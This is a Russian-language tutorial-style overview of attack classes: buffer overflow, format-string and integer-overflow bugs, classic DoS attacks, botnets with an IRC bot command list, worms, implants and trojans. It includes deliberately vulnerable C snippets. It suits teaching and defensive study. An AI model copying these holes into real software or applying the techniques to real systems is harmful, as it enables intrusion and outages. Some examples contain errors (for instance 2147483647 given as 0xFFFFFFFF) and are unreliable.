Классификация атак 1. По характеру воздействия пассивное активное Пассивное воздействие на распределенную вычислительную систему - воздействие, которое не оказывает непосредственного влияния на работу системы, но может нарушать ее политику безопасности. Пассивное удаленное воздействие практически невозможно обнаружить. Пример: прослушивание канала связи в сети. Активное воздействие на распределенную вычислительную систему - воздействие, оказывающее непосредственное влияние на работу системы (изменение конфигурации РВС, нарушение работоспособности и т. д.) и нарушающее принятую в ней политику безопасности. Практически все типы удаленных атак являются активными воздействиями. Особенностью активного воздействия по сравнению с пассивным является принципиальная возможность его обнаружения, так как в результате его осуществления в системе происходят определенные изменения. В отличие от активного, при пассивном воздействии не остается никаких следов. 2. По цели воздействия нарушение конфиденциальности информации нарушение целостности информации нарушение работоспособности (доступности) системы При перехвате информации нарушается её конфиденциальность. Пример: прослушивание канала в сети. При искажении информации нарушается её целостность. Пример: внедрение ложного объекта в РВС. При нарушении работоспособности не происходит несанкционированного доступа, т.е. сохраняется целостность и конфиденциальность информации, однако доступ к ней легальных пользователей также невозможен. Пример: отказ в обслуживании (DoS). 3. По условию начала осуществления воздействия Атака по запросу от атакуемого объекта Атака по наступлению ожидаемого события на атакуемом объекте Безусловная атака В случае запроса атакующий ожидает передачи от потенциальной цели атаки запроса определенного типа, который и будет условием начала осуществления воздействия. Инициатором осуществления начала атаки является атакуемый объект. Пример: DNS- и ARP-запросы в стеке TCP/IP. В случае наступления события, атакующий осуществляет постоянное наблюдение за состоянием операционной системы удаленной цели атаки и при возникновении определенного события в этой системе начинает воздействие. Инициатором осуществления начала атаки является атакуемый объект. Пример: прерывание сеанса работы пользователя с сервером в сетевых ОС без выдачи команды LOGOUT. В случае безусловной атаки начало её осуществления безусловно по отношению к цели атаки, то есть атака осуществляется немедленно и безотносительно к состоянию системы и атакуемого объекта. Следовательно, в этом случае атакующий является инициатором начала осуществления атаки. 4. По наличию обратной связи с атакуемым объектом с обратной связью без обратной связи (однонаправленная атака) Атака с обратной связью - атака, во время которой атакующий получает ответ от атакуемого объекта на часть своих действий. Эти ответы нужны, чтобы иметь возможность продолжить атаку и/или осуществлять её более эффективно, реагируя на изменения, происходящие на атакуемой системе. Атака без обратной связи - атака, происходящая без реакции на поведение атакуемой системы. Пример: отказ в обслуживании (DoS). 5. По расположению атакующего относительно атакуемого объекта внутрисегментное межсегментное Внутрисегментная атака - атака, при которой субъект и объект атаки находятся внутри одного сегмента сети, где сегмент - есть физическое объединение станций с помощью коммуникационных устройств не выше канального уровня. Межсегментная атака - атака, при которой субъект и объект атаки находятся в разных сегментах сети. 6. По количеству атакующих распределённая нераспределённая Распределённая атака - атака, производимая двумя или более атакующими на одну и ту же вычислительную систему, объединёнными единым замыслом и во времени. Нераспределённая атака проводится одним атакующим. 7. По уровню эталонной модели ISO/OSI, на котором осуществляется воздействие физический канальный сетевой транспортный сеансовый представительный прикладной Модели атак Атаки на переполнение буфера Переполнение буфера (buffer overflows) - название самой распространенной уязвимости в области безопасности программного обеспечения. Первая атака с применением данной уязвимости использовалась в вирусе-черве Морриса в 1988 году. В настоящее время можно говорить, что уязвимости, связанные с переполнение буфера являются доминирующими при удаленных атаках, где обычный пользователь сети получает частичный или полный контроль над атакуемым хостом. Основа атак с использованием этой уязвимости - принцип функционирования операционных систем, где программа получает привилегии и права запустившего ее пользователя или процесса. Таким образом, менее привилегированный пользователь или процесс, который взаимодействует с данной программой может использовать ее права в своих целях. Использование данной уязвимости подразумевает изменение хода выполнения привилегированной программы, например, запуск командной оболочки с правами администратора. Реализации атаки требует решения двух подзадач. Подготовка кода, который будет выполнятся в контексте привилегированной программы. Изменение последовательности выполнения программы с передачей управления подготовленному коду. Методы решения этих двух подзадач могут служить основой классификации атак, связанных с переполнением буфера. 1. Пути решения подзадачи подготовки кода: Подготавливаемый код представляет собой исполняемый машинные инструкции соответствующего процессора и может передаваться в программу в качестве ее параметра или команды. При этом параметр или команда сохраняется программой в отведенном для этого буфере. Буфер может находится в любой области памяти: в стеке (локальные, автоматические переменные), в динамически распределяемой памяти, в области статических данных. Например, программе, запрашивающей ввод строки, под видом строки может быть передан нужный атакующему код, которому в дальнейшем будет передано управление. Нужный код не передается в программу, так как он уже присутствует в ней самой или в ее адресном пространстве и требуется лишь его параметризация. Например, подготовка параметра для функции запуска программы. В данном случае атакующему требуется изменить или сформировать нужный параметр (для нашего примера указатель на строку с названием программы), а не сам код. Параметр также может находится в любой области памяти. Если параметризированный код уже присутствует в адресном пространстве программы, то подготовки кода не требуется. 2. Способы передачи управления подготовленному коду: Искажение адреса возврата из функции Так как вызову функции сопутствует занесение адреса возврата в стек, то при его подмене атакующим, управление передается по заданному им адресу. Здесь используется переполнение буфера локальных переменных функции, которые также создаются в стеке. Простым примером служит следующий фрагмент программы на Си. int namelen (void) { char name[21]; gets(name); return strlen(name); } Из примера видно, что при вводе имени размером более 20 символов частью строки будет замещен адрес возврата из функции. Далее, при выполнении инструкции возврата из подпрограммы, управление будет передано по адресу, который образуют соответствующие позиции введенной строки и в обычной ситуации будет получено сообщение об ошибке операционной системы. Описанный процесс изображен на рисунке 1. Рисунок 1. Схема атаки “срыв стека” Такие атаки на переполнение буфера получили название “атаки срыва стека” (stack smashing attack) Искажение указателя функции В данном случае атаке подвергаются переменные, содержащие указатели на функции. Эти переменные могут располагаться в любой области памяти, не только в стеке но и в области динамически и статически выделяемых данных. Атакующий организовывает переполнение буфера, которое искажает данные указатели, и далее при вызове функций по этим указателям управление передается подготовленному коду. Приведем пример уязвимости указателей в виде следующего фрагмента программы на Си. void dummy(void) { printf("Hello world!\n"); } int main(int argc, char **argv) { void (*dummyptr)(); char buffer[100]; dummyptr=dummy; strcpy(buffer, argv[1]); // Уязвимость (*dummyptr)(); } Здесь переполнение буфера buffer приводит к подмене указателя dummyptr и последующему изменению хода выполнения программы. Искажение таблиц переходов В результате компиляции часто создаются так называемые таблицы переходов, которые могут использоваться в целях оптимизации, динамического связывания кода, обработки исключений и т.п. Искажение таких таблиц вызванное переполнением буфера позволяет передать управление подготовленному коду. Искажение указателей данных Данный способ не предусматривает явной передачи управления подготовленному коду, но предполагает, что передача происходит на основании оригинального алгоритма программы. Другими словами, подготовленный код запускается в ходе обычной, не искаженной, последовательности исполнения программы. Рассмотрим следующий фрагмент программы на C. foo(char * arg) { char * p = arg; // уязвимый указатель char a[40]; // переполняемый буфер gets(a); // применение gets() реализует уязвимость gets(p); // искажение кода } Здесь переполнение буфера a вызывает подмену указателя p и последующую запись строки по адресу искаженного указателя. Вводимая строка содержит код атакующего. Такая схема атаки часто используется для корректировки (patch) части кода программы или кода динамических и статических библиотек, располагающихся в памяти по фиксированным адресам. Например, корректировка-подмена системных функции выхода из программы или запуска процесса. Другой пример атаки подобного рода - искажение указателя кадра стека локальных переменных (frame pointer overwrite attack). Эта атака основана на стандартных операциях пролога и эпилога подпрограмм, в результате чего подменяется указатель базы кадра локальных переменных. На мой взгляд, комбинация всех методов подготовки кода и целей переполнения буфера (типа искажаемых структур) определяет виды всех возможных атак по переполнению буфера, что позволяет их классифицировать. Результат комбинации приведен в следующей таблице. Таблица 1. Классификация атак по переполнению буфера Подготовка кода Внедрение кода Внедрение параметров Не требуется Атака “срыв стека” Атака “срыв стека” с параметризацией Атака “срыв стека” с передачей управления Цель переполнения Искажение адреса возврата из функции Искажение указателей функций Атака на указатели функций Атака на указатели функций с параметризацией Атака на указатели функций с передачей управления Искажение таблиц переходов Атака на таблицы переходов Атака на таблицы переходов с параметризацией Атака на таблицы переходов с передачей управления Искажение указателей данных Атака с искажением указателей данных Атака с искажением указателей данных с параметризацией Атака с искажением указателей данных с оригинальным кодом Реальные примеры: В программе rdist из BSD в одном из вызовов отсутствовала проверка на размер параметра, передаваемой из командной строки. Существует программа, которая формирует требуемый код и вызывает /usr/bin/rdist, передавая код в качестве параметра. Поскольку rdist выполняется с привилегиями суперпользователя (setuid bit), переданный код также выполнялся с привилегиями root и в распоряжении хакера оказывался shell с правами root. struct namelist * lookup(name, action, value) char *name; int action; struct namelist *value; { register unsigned n; register char *cp; register struct syment *s; char buf[256]; . . . /* !!! */ if (action != INSERT || s->s_type != CONST) { (void)sprintf(buf, "%s redefined", name); yyerror(buf); В одной из версий POP-сервера проверка длины строки присутствовала, но не была до конца корректной - не отлавливалось переполнение при вызове sprintf(). Что это означает? Была написана программа, которая соединялась с 110-м портом (pop3-сервис) и передавала ему сформированный код, после чего pop-сервер сообщал о неверной команде sprintf() и "вываливался" в shell после return(), причем с правами суперпользователя root. Причем в данном случае хакеру даже не требовалось иметь свой раздел на машине, чтобы прорваться на нее, да еще и с правами root. Пресловутый вирус Морриса использовал аналогичную неточность в широко распространенной программе finger, и доказал свою работоспособность, разойдясь за несколько часов на огромное количество компьютеров в научных и военных сетях США. Программы, написанные под X-Window, как правило, передают параметр "-display " на обработку Xбиблиотеке. В ранних версиях X-Window размеры displayname не проверялись, соответственно был написан код для получения root-привилегий через /usr/X11R6/bin/xterm. В 1996 году в списке рассылки freebsd-security была опубликована информация об ошибке - отсутствие проверки размера буфера – в подсистеме печати, являющейся фактическим стандартом и использующейся во всех семействах BSD, SunOS, а также входящей в состав остальных операционных систем (для совместимости). В sendmail версии ниже 8.7.5 также обнаружена дыра. Код передается в GECOS-поле, которое в семействе ОС BSD пользователь может менять с помощью программ chfn, chsh и chpass. Удобная, казалось бы, возможность: смена имени, информации о телефоне/офисе и плюс неточность в sendmail обернулись лазейкой для хакера. FORMAT STRINGS Как известно, в Языке Си имеется возможность описания функций с переменным числом аргументов. Во время вызова, один фиксированный аргумент показывает функции сколько аргументов передано. К этим функциям относятся fprintf(), printf(), sprintf(), snprintf(), vfrintf(), vsprintf(), vsnprintf(), setproctitle() и syslog(). У этих функций есть две общих черты: Фиксированным по порядку аргументом в этих функциях является форматная строка. Они конвертируют переданные им аргументы в соответствии с форматной строкой. Форматная строка выполняет следующие задачи: Указывает сколько аргументов передано функции. Как интерпретировать переданные аргументы и конвертировать их в строку символов. Но что же произойдёт, если функции передано аргументов меньше, чем их описано в форматной строке? Давайте взглянем на содержимое стека после вызова функции: | переменные, сохр регистры, | | активационные записи вызова других функций | |--------------------------------------------------------------------| | параметры, переданные в функцию; | | адрес возврата из функции; | |--------------------------------------------------------------------| | сохранённые регистры; | | локальные переменные функции; | рост стека Итак, при вызове функция printf() думает, что в стеке содержится достаточное количество аргументов и потому читает из него столько, сколько указано в форматной строке. Таким образом, злоумышленник, имея возможность сформировать форматную строку получает возможность читать информацию из стека. Среди спецификаторов, которые могут использоваться в формировании форматной строки стоит выделить %n, который записывает в указанную целую переменную количество уже записанных сиволов, т.е побочным результатом вызова printf(“1234%n”, &i) будет запись значения 4 в переменную i. То есть получается ,что, подготовив специальным образом форматную строку, злоумышленник может записать по нужному адресу требуемое значение. Данная уязвимость была найдена во многих программных продуктах, в частности были написаны эксплойты: Remote exploits: wu-ftpd, BSD ftpd, proftpd, rpc.statd, PHP 3 и 4, TIS Firewall Toolkit Local exploits: lpr, LPRng, ypbind, BSD chpass и fstat, libc with localization. Червь ramen использовал данную уяывимость в wu-ftpd, rpc.statd, LPRng. Dos атаки NUKE Нередко различные DOS-атаки называют общим термином "нюк" (NUKE). Одна из самых известных программ так и называется WINNUKE (см. ниже по тексту). Восстановим истину в этом вопросе. Существует метод атаки, называемый просто NUKE. Строго говоря, классический NUKE нельзя называть DOS-атакой. Идея основана целиком на документированных стандартах, а не на ошибках в конкретной реализации TCP/IP. Суть классического NUKE в следующем. Для служебных целей в IP-сетях используется протокол ICMP (Internet CONTROL MESSAGE PROTOCOL, описание можно найти в RFC-1122). С этим протоколом мы встречаемся, например, когда используем программы PING и TRACEROUTE. Одной из возможностей ICMP является проверка наличия определенного адреса в Сети. В случае возникновения ошибки соединения возвращается достаточно подробная диагностика ситуации. Например: "Сеть недоступна", "Адрес недоступен", "Ошибка маршрутизации" и другие. Стандартные реализации TCP/IP-стека по приходе ICMP-пакета с извещением об ошибке производят определенные действия, в первую очередь перестройку таблицы маршрутизации и т.п. При этом, как побочный эффект, разрываются все установленные соединения с машиной, имеющей адрес, о котором стало известно, что он недостижим. На использовании этого эффекта и строятся диверсии. Действительно, если знать, что компьютер с адресом X установил соединение с компьютером Y, и послать ICMP-сообщение об ошибке на компьютер X с исходящим адресом компьютера Y, то безусловной реакцией будет разрыв вышеупомянутого соединения. Для осуществления подобной атаки необходимо работать с IP на более низком уровне, нежели стандартные функции операционной системы. Подмена адресов в IP-пакетах имеет устоявшееся название "спуфинг" (от англ. SPOOFING мистификация, обман). Практический эффект такого рода атаки невелик. Для ее осуществления необходимо знать, что два компьютера установили между собой соединение. WINNUKE Наряду с обычными данными, пересылаемыми по TCP-соединению, стандарт предусматривает также передачу срочных (OUT OF BAND, OOB) данных. Предназначаются они для передачи различной срочной информации по соединению, используемому для передачи обычных данных. На уровне форматов TCP-пакетов это выражается в ненулевом URGENT POINTER. На большинстве компьютеров с операционной системой WINDOWS, установленных в локальной сети, присутствует сетевой протокол NETBIOS, который использует для своих нужд три IP-порта: 137, 138, 139. Как выяснилось, если соединиться с WINDOWS-машиной через 139-й порт и послать туда несколько байтов OOB-данных, то первоначальная реализация NETBIOS, не зная, что делать с этими данными, попросту подвешивает или перезагружает машину. Для WINDOWS 95 это обычно выглядит как синий текстовый экран, сообщающий об ошибке в драйвере TCP/IP и невозможности работы с сетью до перезагрузки операционной системы. WINDOWS NT 4.0 без установленных SERVICE PACK перезагружается, NT 4.0 со вторым SERVICE PACK выпадает в синий экран. ICMP Следующая широко известная ошибка обнаружилась буквально через месяц после нашумевшего WINNUKE (хотя атаки, основанные на схожей идее, были известны еще годом раньше). Объектом атаки на сей раз стал ICMP-протокол, точнее - его реализация. ICMP-протокол издавна привлекал любителей различных сетевых диверсий. Поскольку он является внутренним механизмом поддержки работоспособности IP-сетей, то, с точки зрения злоумышленника, является очевидным объектом атаки. В качестве одного из методов можно упомянуть PING с большим размером пакета, так называемый PINGFLOOD. Поскольку ICMP-пакеты имеют определенные привилегии в обработке, то PING большого размера может абсолютно парализовать работу конкретного компьютера или даже целой сети, IP-каналы которых будут передавать только ICMP-пакеты. Такой способ часто используется людьми, имеющими мощные каналы связи, против людей, располагающих более слабыми каналами. Метод этот, основанный на грубой силе, очевидно, не требует большого ума (точнее сказать, не требует никакого ума и, видимо поэтому, так любим молодыми сотрудниками различных провайдерских организаций). Защиты от него в общем случае не существует, самый распространенный метод реакции - установив адрес злоумышленника, написать жалобы куда только можно. Следующим объектом нашего исследования будет более хитроумный метод, называемый SPING (JOLT, SSPING, ICENUKE, ICEPING, ICENUKE, PING OF DEATH...) Множество названий вовсе не означает наличия множества различных модификаций. Просто почему-то разные люди назвали один метод разными именами, и встретить программу можно под всеми вышеперечисленными названиями. Как выяснилось, WINDOWS-системы неадекватно реагируют на получение сильно фрагментированного ICMP-пакета (кусочками до одного килобайта) большого размера (на пару байт больше 64 килобайт). Реакция заключается в безоговорочном "повисании". В конце июня 1997 года жертвой SPING пал многострадальный сервер компании MICROSOFT, после чего его окончательно закрыли каким-то хитрым экраном. В отличие от WINNUKE, жертвами SPING могут стать не только WINDOWS-системы, но и MAC OS и некоторые версии UNIX (заплатки, к счастью, имеются уже для всего). LAND Следующий метод атаки, называемый LAND (по слухам, фамилия первооткрывателя была LAND), замечателен в первую очередь огромным количеством поражаемых систем. Кроме любимой народом (за наличие MINESWEEPER) WINDOWS NT, здесь и MAC OS, и множество UNIX (от бесплатных до серьезных), и такие экзотические системы, как QNX и BEOS, и даже многие аппаратные маршрутизаторы (в том числе и продукция фирм CISCO и 3COM). Практически для всех систем уже имеются исправления, хотя, конечно же, далеко не все установили их в систему. В начале создания TCP-соединения посылается пакет с установленным флагом SYN. Нормальной реакцией на получение SYN-пакета является подготовка необходимых ресурсов для нового соединения, посылка SYN-ACK пакета (подтверждение) и ожидание реакции с другой стороны. В случае, когда реакция отсутствует определенное время, SYN-ACK пакет передается повторно несколько раз, как правило, с увеличивающимся периодом задержки. Очевидным методом атаки, использующим вышеописанный механизм, является классический SYN-FLOOD, заключающийся в следующем. На компьютер-жертву посылается множество SYN-пакетов с искаженными адресами отправителя. Компьютер-жертва тратит массу своих вычислительных ресурсов на попытки подтвердить соединения с абсолютно ничего не подозревающими или даже с несуществующими компьютерами. При достаточно большом количестве фальшивых запросов ресурсы компьютера-жертвы могут быть исчерпаны, а все другие процессы в системе будут просто заморожены, либо аварийно завершены, либо будут "сброшены" все имеющиеся TCP-соединения. Но это очень старый метод, основанный на грубой силе. Механизм работы LAND хитрее: посылается SYN-пакет с адресом отправителя, совпадающим с адресом получателя, жертвы. Пакет посылается на любой открытый порт. Для WINDOWS-систем это почти всегда может быть 139-й порт (старый знакомый по WINNUKE). Для других систем это может быть любой известный порт (21-й, 80-й и др.). Реакцией WINDOWS-компьютера на LAND является абсолютное "зависание". TEARDROP Метод атаки TEARDROP основан на ошибках в реализации TCP/IP-стека. Подверженными такой атаке оказались WINDOWS-системы, а также компьютеры с установленным LINUX. Поскольку передача данных в IP-сетях производится не в идеальной среде, а по вполне реальным каналам различного качества, то естественно, что в стандарт заложили возможность передачи больших пакетов фрагментами, которые на принимающей стороне преобразуются в исходный пакет. Речь идет о том, что некий единый пакет на уровне TCP- или UDP-протоколов может быть фрагментирован на уровне IP - протокола более низкого уровня. При этом каждый фрагмент будет характеризоваться смещением от начала исходного пакета и своей длиной. Драйвер TCP/IP-стека собирает все фрагменты на принимающей стороне до тех пор, пока не получит их все (или, во всяком случае, пока не решит, что принял их все). Безусловно, при передаче возможны различные ситуации, которые "умная" реализация TCP/IP должна понимать. В частности, может оказаться, что несколько полученных фрагментов будут пересекаться. Нас интересует ситуация, когда очередной фрагмент имеет смещение, лежащее внутри уже полученного фрагмента. Что же происходит в этом случае? Прежде всего вычисляется размер пересечения. А затем в буфер копируется только та часть нового фрагмента, которая "выступает за границу" старого фрагмента. Все просто и очевидно, за исключением того, что возможна еще одна нестандартная ситуация. А именно - когда новый фрагмент не только начинается внутри старого, но и оканчивается в нем же. По идее, такой фрагмент должен быть просто пропущен, но как раз такую возможность программисты, писавшие WINDOWS NT и LINUX, и не предусмотрели. Что же происходит в результате? Пусть у нас есть уже полученный фрагмент A, начинающийся с A_OFFS и имеющий длину A_LEN. Затем пришел новый фрагмент B, начинающийся с B_OFFS и с длиной B_LEN. Причем A_OFFS (A_OFFS + A_LEN), то есть фрагмент B лежит внутри фрагмента A. проследим действия принимающей стороны по шагам. начало нового фрагмента лежит внутри имеющегося. хорошо! пересекающаяся часть: ((A_OFFS + A_LEN) - B_OFFS). а тот кусочек, что нужно добавить в буфер, начинается с (A_OFFS + A_LEN) и имеет длину ((B_OFFS + B_LEN) - (A_OFFS + A_LEN)). о-ляля! длина-то меньше нуля! если вспомнить о машинной зацикленной арифметике, легко понять, что в результате будет скопирован очень большой блок памяти. при этом будет уничтожено все попадавшееся на пути (обычно на пути попадается операционная система). собственно, вышеописанное и есть TEARDROP ("слезинка", англ.). объяснение, приведенное выше, абсолютно верно для LINUX, поскольку его исходный код открыт. но, вероятно, аналогичный механизм делает и WINDOWS NT потенциальной жертвой для TEARDROP-атаки. Позже возникло несколько модификаций TEARDROP, которые были способны пробивать WINDOWS NT с установленной против обычного TEARDROP "заплаткой". Известность получили BONK (BOINK), NEWTEAR, SYNDROP. Все эти атаки закрываются одной "заплаткой". BACKORIFICE Данная атака не влечет за собой фатальных последствий типа "зависания" или перезагрузки, но способна вызвать существенную загрузку процессора и повышенный сетевой трафик. На сей раз объектом нападок стала реализация RPC-протокола в WINDOWS NT. Идея чрезвычайно проста: в 135-й порт посылается некая "левая" датаграмма с адресом отправителя, измененным на адрес другой NT-машины. Реакцией атакуемой машины будет посылка REJECT-пакета на подмененный адрес. Другая NT-машина ответит не менее гневным REJECT-пакетом, после чего такой пинг-понг будет продолжаться некоторое время, до тех пор, пока неправильный пакет не будет уничтожен как устаревший. Понятно, что посылая совсем небольшой поток фальшивых датаграмм, можно практически парализовать работу сети и заставить компьютеры тратить значительную долю своих вычислительных ресурсов на обработку RPC-ошибок. Изощренный злодейский ум может легко додуматься до простой модификации метода, при которой на несколько компьютеров посылаются поддельные UDP-пакеты с одинаковым адресом отправителя. В этом случае пинг-понг превращается в массированную артиллерийскую атаку несчастной жертвы. --------135-й порт довольно давно зарекомендовал себя в качестве слабого места NT-платформы. Известна очень старая атака, заключавшаяся в посылке в этот порт нескольких строчек текста, что приводило к постоянной стопроцентной загрузке процессора. Спасал только перезапуск операционной системы. К счастью, эта "дырка" была закрыта в SERVICE PACK 3. BOTNET and DDOS Ботнет - это N-ое количество компьютеров зараженных специальным трояном, который объединяет этот компьютер и остальные зараженные компьютеры в одну единую сеть, которой управляет "хозяин". Бот это компьютер, на котором установлена бот-программа, при помощи которой "хозяин" может управлять этим компьютером. Боты применяются чаще в хакерских целях, чем в вычислительных. В основном из зараженной машины бот-программа делает "DoS-зомби" которая подчиняется своими хозяину. Ботнетом можно управлять 3 видами: HTTP/IRC/MAIL. На сегодняшний день, самые популярные виды - это HTTP и IRC. Некоторые боты-черви используют технологию самораспространения, благодаря нашумевшим дырам в Windows, например брешь в службе RPC. Боты способны сами распространяться по сети, заражая ежедневно тысячи компьютеров. Существует множество "public" ботов которые может скачать любой желающий и создать свою бот-сеть. Вот обзор самых популярных паблик-ботов: AgoBot - Пожалуй самый известный/лучший/с большими возможностями, такими как: DoS/Граббинг паролей/Стелс/Обход фаерволлов и множество других возможностей. К сожалению автор этого бота сейчас сидит в тюрьме, но исходники его творения ушли в сеть, и в данный момент насчитывается около 100(!!) модификация этого бота. PhatBot - Нашумевшая модификация AgoBot'a с кучей возможностей, отличительная черта: самораспространение через баги в RPC, LSASS и т.п. Rx-Bot - Достаточно новый бот, не уступающий возможностям AgoBot. Итак, рассмотрим как работает ботнет, управляемый через IRC канал. Во-первых нужно зарегистрировать канал, к которому будут подключаться компьютеры-зомби, ну а во вторых заражённые нашим ботом компьютеры. При подключении компьютера-зомби к интернету, программа-бот сразу же заходит на наш IRC-канал и ждёт команд, передаваемых хозяином. Вот основные команды, используемые в ботнетах: cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти. die – самоубийство. execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы. download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота. ping <host> <# of pings> <packet size> <timeout> - пинг хоста. Сетевые черви Синонимы: Компьютерный червь К данной категории относятся программы, распространяющие свои копии по локальным и/или глобальным сетям с целью: проникновения на удаленные компьютеры; запуска своей копии на удаленном компьютере; дальнейшего распространения на другие компьютеры сети. Для своего распространения сетевые черви используют разнообразные компьютерные и мобильные сети: электронную почту, интернет-пейджеры, файлообменные (P2P) и IRC-сети, LAN, сети обмена данными между мобильными устройствами (телефонами, карманными компьютерами) и т. д. Большинство известных сетевых червей распространяются в виде файлов: вложений в электронные письма, ссылкой на зараженный файл на каком-либо веб- или FTP-ресурсе в ICQ- и IRC-сообщениях, файл в каталоге обмена P2P и пр. Некоторые сетевые черви (так называемые "беcфайловые" или "пакетные" черви) распространяются в виде сетевых пакетов, проникают непосредственно в память компьютера и активизируют свой код. Для проникновения на удаленные компьютеры и запуска своей копии сетевые черви используют различные методы: социальный инжиниринг (например, текст электронного письма, призывающий открыть вложенный файл), недочеты в конфигурации сети (например, копирование на диск, открытый на полный доступ), ошибки в службах безопасности операционных систем и приложений. Некоторые сетевые черви обладают также свойствами других разновидностей вредоносного программного обеспечения. Например, содержат троянские функции или заражают выполняемые файлы на локальном диске, т. е. имеют свойства троянской программы и/или компьютерного вируса. Программные закладки Программные закладки могут выполнять перечисленные ниже действия: вносить произвольные искажения в коды программ, находящихся и оперативной памяти компьютера (программная закладка первого типа); переносить фрагменты информации из одних областей оперативной или внешней памяти компьютера в другие (программная закладка второго типа); искажать выводимую на внешние компьютерные устройства или в канал связи информацию, полученную в результате работы других программ (программная закладка третьего типа). Программные закладки можно классифицировать и по методу их внедрения в компьютерную систему: программно-аппаратные закладки, ассоциированные с аппаратными средствами компьютера (их средой обитания, как правило, является BIOS - набор программ, записанных в виде машинного кода в постоянном запоминающем устройстве - ПЗУ); загрузочные закладки, ассоциированные с программами начальной загрузки, которые располагаются в загрузочных секторах (из этих секторов в процессе выполнения начальной загрузки компьютер считывает программу, берущую на себя управление для последующей загрузки самой операционной системы); драйверные закладки, ассоциированные с драйверами (файлами, и которых содержится информация, необходимая операционной системе для управления подключенными к компьютеру периферийными устройствами); прикладные закладки, ассоциированные с прикладным программным обеспечением общего назначения (текстовые редакторы, утилиты, антивирусные мониторы и программные оболочки); исполняемые закладки, ассоциированные с исполняемыми программными модулями, содержащими код этой закладки (чаше всего эти модули представляют собой пакетные файлы, т. е. файлы, которые состоят из команд операционной системы, выполняемых одна за одной, как если бы их набирали на клавиатуре компьютера); закладки-имитаторы, интерфейс которых совпадает с интерфейсом некоторых служебных программ, требующих ввод конфиденциальной информации (паролей, криптографических ключей, номеров кредитных карточек); замаскированные закладки, которые маскируются под программные средства оптимизации работы компьютера (файловые архиваторы, дисковые дефрагментаторы) или под программы игрового и развлекательного назначения. Трояны Троянской программой (троянцем, или троянским конем) называется программа, которая, являясь частью другой программы с известными пользователю функциями, способна втайне от него выполнять некоторые дополнительные действия с целью причинения ему определенного ущерба; программа с известными ее пользователю функциями, в которую были внесены изменения, чтобы, помимо этих функций, она могла втайне от него выполнять некоторые другие действия. Таким образом, троянская программа - это особая разновидность программной закладки. Она дополнительно наделена функциями, о существовании которых пользователь даже не подозревает. Когда троянская программа выполняет эти функции, компьютерной системе наносится определенный ущерб. Однако то, что при одних обстоятельствах причиняет непоправимый вред, при других- может оказаться вполне полезным. К примеру, программу, которая форматирует жесткий диск, нельзя назван. троянской, если она как раз и предназначена для его форматирования (как это делает команда format операционной системы DOS). Но если пользователь, выполняя некоторую программу, совершенно не ждет, что она отформатирует его винчестер, - это и есть самый настоящий троянец. Короче говоря, троянской можно считать любую программу, которая втайне от пользователя выполняет какие-то нежелательные для него действия. Эти действия могут быть любыми - от определения регистрационных номеров программного обеспечения, установленного на компьютере, до составления списка каталогов на его жестком диске. А сама троянская программа может маскироваться под текстовый редактор, под сетевую утилиту или любую программу, которую пользователь пожелает установить на свой компьютер. Уязвимости проектирования INTEGER OVERFLOW Как было изложено выше для переменной типа Integer, отводится в памяти 4 байта. Переполнение происходит при попытке записать в переменную значение превышающее максимально возможное число. Поведение программы в таких ситуациях полностью зависят от используемого компилятора. Потому, как согласно стандарту ISO C99 каждый компилятор при таком переполнении может делать все что угодно, от игнорирования до аварийного завершения программы. В большинства компиляторах какраз ничего и не делается :) Этот вид атаки опасен еще и тем, что приложение не может определить произошло переполнение или нет (вообще-то есть способ определить произошло переполнение или нет, но это уже другая тема...). Переполнения целых чисел можно использовать для влияния на значения некоторых критических данных, например размера буфера, индекса элемента массива, и т.д. Но на практике можно столкнутся с трудностью использования этой уязвимости. Все дело в том это переполнение в большинстве случяев не может непосредственно переписать область памяти(в отличии от Buffer Overflow и Heap overflow). Но применение этой уязвимости может легко вызвать и ошибки другого класса. В большинстве случаев возникает возможность переполнения буфера (Buffer Overflow). По словам ISO C99 уязвимость исчезает при использовании в вычислениях Unsigned Integer. Но давайте проверим действительно ли это так. Обьявим две переменные A и B, типа Unsigned Integer. Далее занесем в А максимальное значение Unsigned Integer - 4294967295, а в В -1: unsigned int A=0xFFFFFFFF; unsigned int B=0x1; В результате выполнения операции (А+В) полученное значение, согласно стандарту ISO, не вмещается в 32 бита. В таком случае результатом будет (А+В) mod 0x100000000. mod - остаток от деления, например (8 mod 2 =0), а (8 mod 3=2). Следовательно, наш результат будет равен выражению: result=(A+B) % 0x100000000; подставив наши значения получим следующее: result=(0xffffffff + 0x1) % 0x100000000; //result=(0x100000000) % 0x100000000; //result=0; Как видно результат вышел равен нулю. Не совсем то, что должно было выйти. Этот эффект называют "wrap around", тоесть вращение вокруг нуля. На этом теоретическая часть заканчивается. Дальше мы рассмотрим несколько примеров уязвимых программ, и попробуем реализовать успешную атаку. Как применить Integer Overflow? Для начала рассмотрим самый простой вариант. Есть некая программа для роботы с ней нужно ввести логи пароль и длину пароля. Такой вариант вы нигде не встретите в реальной ситуации, хотя если речь идет о Web приложениях такая авторизация возможна. int main(int argc,char **argv) { //создаем переменные для хранения данных char chLogin[100]; char chPassword[100]; int intPasswordLength; //заносим в них пользовательские данные strcpy(chLogin,argv[1]); strcpy(chPassword,argv[2]); intPasswordLength=atoi(argv[3]); //флаг дающий пользователю права администратора int admin=0; char chOriginalPassword[100]="administrator"; //простая проверка if(intPasswordLength<1)intPasswordLength=0; intPasswordLength++; if(chLogin="admin"){ admin=1; for(i=0;i<=intPasswordLength;i++) if((chPassword[i])!=chOriginalPassword[i]) admin=0; } setUserStastusAdmin(admin); } Давайте внимательно посмотрим на исходник, есть некая переменная admin, которая используется как флаг. Если ее значение равно нулю, значит пользователь не имеет прав администратора и наоборот. По умолчанию значение флага устанавливается в ноль (то есть гость) , если введенный логин "admin", то флаг устанавливается в один. Дальше происходит посимвольная проверка пароля введенного пользователем и настоящим паролем. В случае нахождения различий флаг снова устанавливается в ноль. Хочу обратить ваше внимание на цикл: for(i=0;i<=intPasswordLength;i++) Все дело в том что если intPasswordLength меньше за начальное значение(в данном случае ноль), то цикл выполнятся не будет. Но это в программе предусмотрено: if(intPasswordLength<1)intPasswordLength=0; intPasswordLength++; Но тут как раз вспомнить о Integer Overflow! Поскольку используется не Unsigned Integer, установив значение в 2147483647(0xFFFFFFFF) оно пройдет проверку и увеличится на один, но из выше сказанного получается что результатом будет не 2147483648, а -2147483648. При такой ситуации цикл исполняться не будет и достаточно просто угадать логин. ----- Для проникновения в систему злоумышленнику вовсе 